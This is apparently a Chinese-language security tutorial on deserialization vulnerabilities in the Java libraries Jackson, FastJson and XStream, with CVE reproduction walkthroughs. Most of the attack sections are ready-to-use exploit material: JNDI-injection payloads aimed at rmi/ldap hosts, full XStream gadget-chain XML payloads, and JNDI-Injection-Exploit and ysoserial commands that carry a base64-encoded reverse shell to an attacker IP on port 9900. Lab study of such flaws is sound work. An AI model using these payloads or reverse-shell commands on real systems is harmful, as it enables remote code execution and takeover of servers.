服务攻防5:开发组件安全——Jackson / FastJson / XStream 反序列化漏洞与 CVE 复现
本文聚焦 Java 生态里的三个序列化/反序列化组件——Jackson、FastJson、XStream,面向完全零基础的读者:既讲清楚每个组件是什么、漏洞机理是什么,也把可以直接照做的 Payload、命令和链接一并给出,方便复习和复现。
前置知识(先了解这些)
- JSON / XML:常见的数据交换格式;这三个组件都负责处理它们。
- Java 序列化与反序列化:把对象变成字节流(序列化)或把字节流还原成对象(反序列化);反序列化漏洞的根因。
- J2EE:Java 企业版,主要由 Spring、Spring Boot、Struts2 等框架承载。
- JNDI:Java 命名与目录接口,可以通过 RMI / LDAP 等协议远程加载 Java 类。
- RMI / LDAP:Java 远程方法调用与轻量级目录访问协议,常作为 JNDI 注入的"运输车"。
- Maven / Gradle:Java 项目最常用的两种构建工具。
- CVE:公开漏洞的统一编号。
- 黑盒测试 vs 白盒测试:前者无源码,靠请求/响应推断;后者直接看代码与依赖版本。
- Docker / Vulhub:用于快速搭建漏洞靶场。
工具清单(提前准备)
- JDK 8+ 与 Maven / Gradle:编译和启动本地 Demo。
- 一个 Jackson / FastJson / XStream 的本地 Demo 工程(GitHub 上搜索"jackson cve demo / fastjson cve demo / xstream cve demo"即可找到现成工程)。
- Burp Suite / curl:构造 HTTP 请求与观察响应。
- JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar:一键起 JNDI 服务并生成 Payload。
- ysoserial(含
CommonsCollections等利用链):生成反序列化 Payload 或起 JRMP 监听。 - fastjson_payload:GitHub 开源 POC 集合(地址见参考链接)。
- Vulhub 或自行编写的漏洞 Demo 工程:本地复现靶场。
一、服务攻防的复现对象分类
"服务攻防"要复现的对象可以分成四类:
- 数据库:Redis 未授权 RCE & CVE、Couchdb 未授权 RCE & CVE、H2database 未授权 RCE & CVE
- 中间件:IIS(短文件/解析/蓝屏等)、Nginx(文件解析/命令执行)、Apache(RCE/目录遍历/文件解析)、Tomcat(弱口令/上传/包含)、Jetty(CVE/信息泄漏)、Jenkins(CVE/RCE)、Weblogic(CVE/反序列化/RCE)、WPS-HW2023(RCE/复现/上线 CS)
- 开发框架:PHP(ThinkPHP、Laravel);J2EE(SpringBoot、Struts2)
- 应用协议 与 J2EE 开发组件:Solr(全文搜索)、Shiro(身份验证)、Log4J(日志记录)、Jackson、FastJson、XStream 等
"开发组件安全"单成一类,是因为它们都是 Java 生态里被广泛引用的第三方库,本身不是 Web 容器,而是被应用代码直接 import 进来的;一旦组件本身存在反序列化或表达式求值类漏洞,就会直接威胁到所有引用它的应用。
本文要讲的三个组件:Jackson、FastJson、XStream——它们都负责处理"对象 ↔ 字符串"之间的转换,因此都存在反序列化 RCE 的攻击面。
二、章节点:服务攻防通用思路
任何组件的攻击复现都按下面四步走:
- 目标判断:端口扫描 + 组合判断 + 信息来源(指纹、Banner、报错信息)。
- 安全问题归类:配置不当 / CVE 漏洞 / 弱口令爆破。
- 复现对象选择:数据库、中间件、开发框架、应用协议四类之一。
- HW 复现方向:除了上述四类,再补近几年新出的漏洞。
三、常见语言开发框架与组件一览
下面这张清单是日常攻防里"看一眼就能判断目标大概用了什么"的速查表。
常见语言开发框架
- PHP:ThinkPHP、Laravel、YII、CodeIgniter、CakePHP、Zend 等。
- JAVA:Spring、MyBatis、Hibernate、Struts2、SpringBoot 等。
- Python:Django、Flask、Bottle、Turbobars、Tornado、Web2py 等。
- Javascript:Vue.js、Node.js、Bootstrap、JQuery、Angular 等。
常见语言开发组件(Java 为主)
Apache Solr、Apache Shiro、Apache Struts2、Apache Flink、Flume、Dubbo、Redis、Logstash、ElasticSearch、Kafka、Ghidra、Minecraft、Apache Hive、Datax、Streaming、Dolphin Scheduler、Storm、Spring、Alibaba FastJson、Jackson、Log4J、XStream 等。
这些组件各自有不同的漏洞类型,但学习路径都一样:先看组件是做什么的,再看它历史上出过什么高危 CVE,最后动手复现。
四、黑盒与白盒下的组件识别
在动手复现 Jackson / FastJson / XStream 之前,必须先确认目标用的是哪个组件。
黑盒场景(没有源码,只能通过请求/响应推断):
- Java 应用通常接受 JSON 或 XML 格式的请求体。
- 故意发送一段畸形数据,看报错信息里有没有暴露组件名:
- 报错里出现
xstream→ 大概率是 XStream - 报错里出现
fastjson、jackson→ FastJson 或 Jackson
- 报错里出现
白盒场景(有源码或依赖清单):
- 直接看
pom.xml/build.gradle里引用的组件版本号,对照历史漏洞列表判断是否存在已知 CVE。
五、Jackson 组件安全
Jackson 是当下最流行的 JSON 解析器之一,负责 Java 对象与 JSON 字符串之间的相互转换(序列化/反序列化)。它的历史漏洞可在阿里云漏洞库查询:https://avd.aliyun.com/search?q=Jackson
5.1 CVE-2020-8840:代码执行
- 影响版本:2.0.0 ≤ FasterXML jackson-databind ≤ 2.9.10.2
- 触发原理:默认多态类型处理开启时,可通过
@type字段加载危险 Gadget 类(如org.apache.xbean.propertyeditor.JndiConverter),最终经 JNDI 触发 RCE。
Payload(需把 ldap://localhost:1389/Exploit 替换为自己起好的 JNDI 服务):
String json = "[\"org.apache.xbean.propertyeditor.JndiConverter\", {\"asText\":\"ldap://localhost:1389/Exploit\"}]";
5.2 CVE-2020-35728:代码执行
- 影响版本:FasterXML jackson-databind 2.x < 2.9.10.8
- 触发原理:与上一条类似,绕过 2.9.10.2 补丁的另外一条 Gadget 链(
com.oracle.wls.shaded.org.apache.xalan.lib.sql.JNDIConnectionPool)。
Payload:
String payload = "[\"com.oracle.wls.shaded.org.apache.xalan.lib.sql.JNDIConnectionPool\",{\"jndiPath\":\"rmi://your-ip:1099/gtaafz\"}]";
备注:
your-ip为攻击者 RMI 服务地址的占位,复现时请替换为你自己的 IP。
六、FastJson 组件安全
FastJson 是阿里巴巴开源的 JSON 解析器,可以把 JSON 字符串与 JavaBean 相互转换。它的历史漏洞可在阿里云漏洞库查询:https://avd.aliyun.com/search?q=fastjson
一个比较全的公开 POC 集合:https://github.com/kezibei/fastjson_payload
6.1 FastJson ≤ 1.2.24
这是 FastJson 最早的一波反序列化漏洞,影响 1.2.24 及以下所有版本。利用方式是直接通过 @type 指定 JdbcRowSetImpl,让 FastJson 调用其 setDataSourceName 等 setter,触发 JNDI 远程加载。
String payload = "{\r\n"
+ " \"a\": {\r\n"
+ " \"@type\": \"com.sun.rowset.JdbcRowSetImpl\", \r\n"
+ " \"dataSourceName\": \"rmi://127.0.0.1:1099/Object\", \r\n"
+ " \"autoCommit\": true\r\n"
+ " }\r\n"
+ "}";
6.2 FastJson ≤ 1.2.47
1.2.25 起官方加了黑名单,1.2.47 又被发现可以通过"两步走"绕过:先用 @type: java.lang.Class 把目标类注入到 FastJson 的 mapping,再利用 JdbcRowSetImpl 触发。
JSONObject jsonToObject = JSON.parseObject("{\n"
+ " \"a\":{\n"
+ " \"@type\":\"java.lang.Class\",\n"
+ " \"val\":\"com.sun.rowset.JdbcRowSetImpl\"\n"
+ " },\n"
+ " \"b\":{\n"
+ " \"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\n"
+ " \"dataSourceName\":\"rmi://your-ip:1099/j2azgf\",\n"
+ " \"autoCommit\":true\n"
+ " }\n"
+ "}");
6.3 FastJson ≤ 1.2.80
1.2.48 起持续加补丁,到 1.2.80 时通用 Gadget 已基本堵死。1.2.80 及以上版本的利用,依赖目标项目自身调用的业务类和三方组件,不再有"一发入魂"的通用 Payload,需要结合项目实际依赖去构造。
实操提示:复现 1.2.24 / 1.2.47 这两条时,本地起一个 JNDI 服务(推荐
JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar或marshalsec),把 Payload 里的 RMI 地址换成你自己的,再把 Payload 当作请求体 POST 给目标接口即可触发 RCE。
七、XStream 组件安全
XStream 是一个能把 Java 对象与 XML 互相转换的开源类库。它的历史漏洞可在阿里云漏洞库查询:https://avd.aliyun.com/search?q=XStream
7.1 CVE-2021-21351:代码执行(JNDI 注入)
- 影响版本:XStream ≤ 1.4.15
第一步:起 JNDI 服务生成反弹 Shell
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC95b3VyLWlwLzk5MDAgMD4mMQ==}|{base64,-d}|{bash,-i}" -A your-ip
解读:
-C后面是要让目标执行的命令,base64 解码后是bash -i >& /dev/tcp/your-ip/9900 0>&1(让目标反向连接到攻击者的 9900 端口);-A是攻击者外网 IP,JNDI 服务会监听在该 IP 上。
第二步:构造 JNDI 注入 Payload 并提交到目标 XML 接口
<sorted-set>
<javax.naming.ldap.Rdn_-RdnEntry>
<type>ysomap</type>
<value class='com.sun.org.apache.xpath.internal.objects.XRTreeFrag'>
<m__DTMXRTreeFrag>
<m__dtm class='com.sun.org.apache.xml.internal.dtm.ref.sax2dtm.SAX2DTM'>
<m__size>-10086</m__size>
<m__mgrDefault>
<__overrideDefaultParser>false</__overrideDefaultParser>
<m__incremental>false</m__incremental>
<m__source__location>false</m__source__location>
<m__dtms>
<null/>
</m__dtms>
<m__defaultHandler/>
</m__mgrDefault>
<m__shouldStripWS>false</m__shouldStripWS>
<m__indexing>false</m__indexing>
<m__incrementalSAXSource class='com.sun.org.apache.xml.internal.dtm.ref.IncrementalSAXSource_Xerces'>
<fPullParserConfig class='com.sun.rowset.JdbcRowSetImpl' serialization='custom'>
<javax.sql.rowset.BaseRowSet>
<default>
<concurrency>1008</concurrency>
<escapeProcessing>true</escapeProcessing>
<fetchDir>1000</fetchDir>
<fetchSize>0</fetchSize>
<isolation>2</isolation>
<maxFieldSize>0</maxFieldSize>
<maxRows>0</maxRows>
<queryTimeout>0</queryTimeout>
<readOnly>true</readOnly>
<rowSetType>1004</rowSetType>
<showDeleted>false</showDeleted>
<dataSource>rmi://evil-ip:1099/example</dataSource>
<listeners/>
<params/>
</default>
</javax.sql.rowset.BaseRowSet>
<com.sun.rowset.JdbcRowSetImpl>
<default/>
</com.sun.rowset.JdbcRowSetImpl>
</fPullParserConfig>
<fConfigSetInput>
<class>com.sun.rowset.JdbcRowSetImpl</class>
<name>setAutoCommit</name>
<parameter-types>
<class>boolean</class>
</parameter-types>
</fConfigSetInput>
<fConfigParse reference='../fConfigSetInput'/>
<fParseInProgress>false</fParseInProgress>
</m__incrementalSAXSource>
<m__walker>
<nextIsRaw>false</nextIsRaw>
</m__walker>
<m__endDocumentOccured>false</m__endDocumentOccured>
<m__idAttributes/>
<m__textPendingStart>-1</m__textPendingStart>
<m__useSourceLocationProperty>false</m__useSourceLocationProperty>
<m__pastFirstElement>false</m__pastFirstElement>
</m__dtm>
<m__dtmIdentity>1</m__dtmIdentity>
</m__DTMXRTreeFrag>
<m__dtmRoot>1</m__dtmRoot>
<m__allowRelease>false</m__allowRelease>
</value>
</javax.naming.ldap.Rdn_-RdnEntry>
<javax.naming.ldap.Rdn_-RdnEntry>
<type>ysomap</type>
<value class='com.sun.org.apache.xpath.internal.objects.XString'>
<m__obj class='string'>test</m__obj>
</value>
</javax.naming.ldap.Rdn_-RdnEntry>
</sorted-set>
解读:Payload 走的是
com.sun.rowset.JdbcRowSetImpl这条 Gadget 链,最终调用setDataSourceName("rmi://...")触发 JNDI 远程加载。复现时把rmi://evil-ip:1099/example替换成你自己起的 JNDI 服务地址。
7.2 CVE-2021-29505:远程代码执行(反序列化)
- 影响版本:XStream ≤ 1.4.16
第一步:用 ysoserial 起 JRMP 反序列化监听
java -cp ysoserial-0.0.8-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1089 CommonsCollections6 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC95b3VyLWlwLzk5MDAgMD4mMQ==}|{base64,-d}|{bash,-i}"
解读:监听端口
1089,利用链CommonsCollections6,反弹 Shell 命令同上一条,base64 解码后是bash -i >& /dev/tcp/your-ip/9900 0>&1。
第二步:提交反序列化 JNDI Payload
<java.util.PriorityQueue serialization='custom'>
<unserializable-parents/>
<java.util.PriorityQueue>
<default>
<size>2</size>
</default>
<int>3</int>
<javax.naming.ldap.Rdn_-RdnEntry>
<type>12345</type>
<value class='com.sun.org.apache.xpath.internal.objects.XString'>
<m__obj class='string'>com.sun.xml.internal.ws.api.message.Packet@2002fc1d Content</m__obj>
</value>
</javax.naming.ldap.Rdn_-RdnEntry>
<javax.naming.ldap.Rdn_-RdnEntry>
<type>12345</type>
<value class='com.sun.xml.internal.ws.api.message.Packet' serialization='custom'>
<message class='com.sun.xml.internal.ws.message.saaj.SAAJMessage'>
<parsedMessage>true</parsedMessage>
<soapVersion>SOAP_11</soapVersion>
<bodyParts/>
<sm class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'>
<attachmentsInitialized>false</attachmentsInitialized>
<nullIter class='com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator'>
<aliases class='com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl'>
<candidates class='com.sun.jndi.rmi.registry.BindingEnumeration'>
<names>
<string>aa</string>
<string>aa</string>
</names>
<ctx>
<environment/>
<registry class='sun.rmi.registry.RegistryImpl_Stub' serialization='custom'>
<java.rmi.server.RemoteObject>
<string>UnicastRef</string>
<string>your-ip</string>
<int>1089</int>
<long>0</long>
<int>0</int>
<long>0</long>
<short>0</short>
<boolean>false</boolean>
</java.rmi.server.RemoteObject>
</registry>
<host>your-ip</host>
<port>1089</port>
</ctx>
</candidates>
</aliases>
</nullIter>
</sm>
</message>
</value>
</javax.naming.ldap.Rdn_-RdnEntry>
</java.util.PriorityQueue>
</java.util.PriorityQueue>
解读:Payload 构造的是一条"反序列化链",最终指向
sun.rmi.registry.RegistryImpl_Stub,让 XStream 反序列化时主动去连接your-ip:1089(你的 ysoserial JRMPListener),由 ysoserial 在服务端完成 CommonsCollections6 链触发并执行反弹 Shell。your-ip需替换为你自己的监听地址。
参考链接
- Jackson 历史漏洞汇总:https://avd.aliyun.com/search?q=Jackson
- FastJson 历史漏洞汇总:https://avd.aliyun.com/search?q=fastjson
- FastJson Payload 集合:https://github.com/kezibei/fastjson_payload
- XStream 历史漏洞汇总:https://avd.aliyun.com/search?q=XStream

浙公网安备 33010602011771号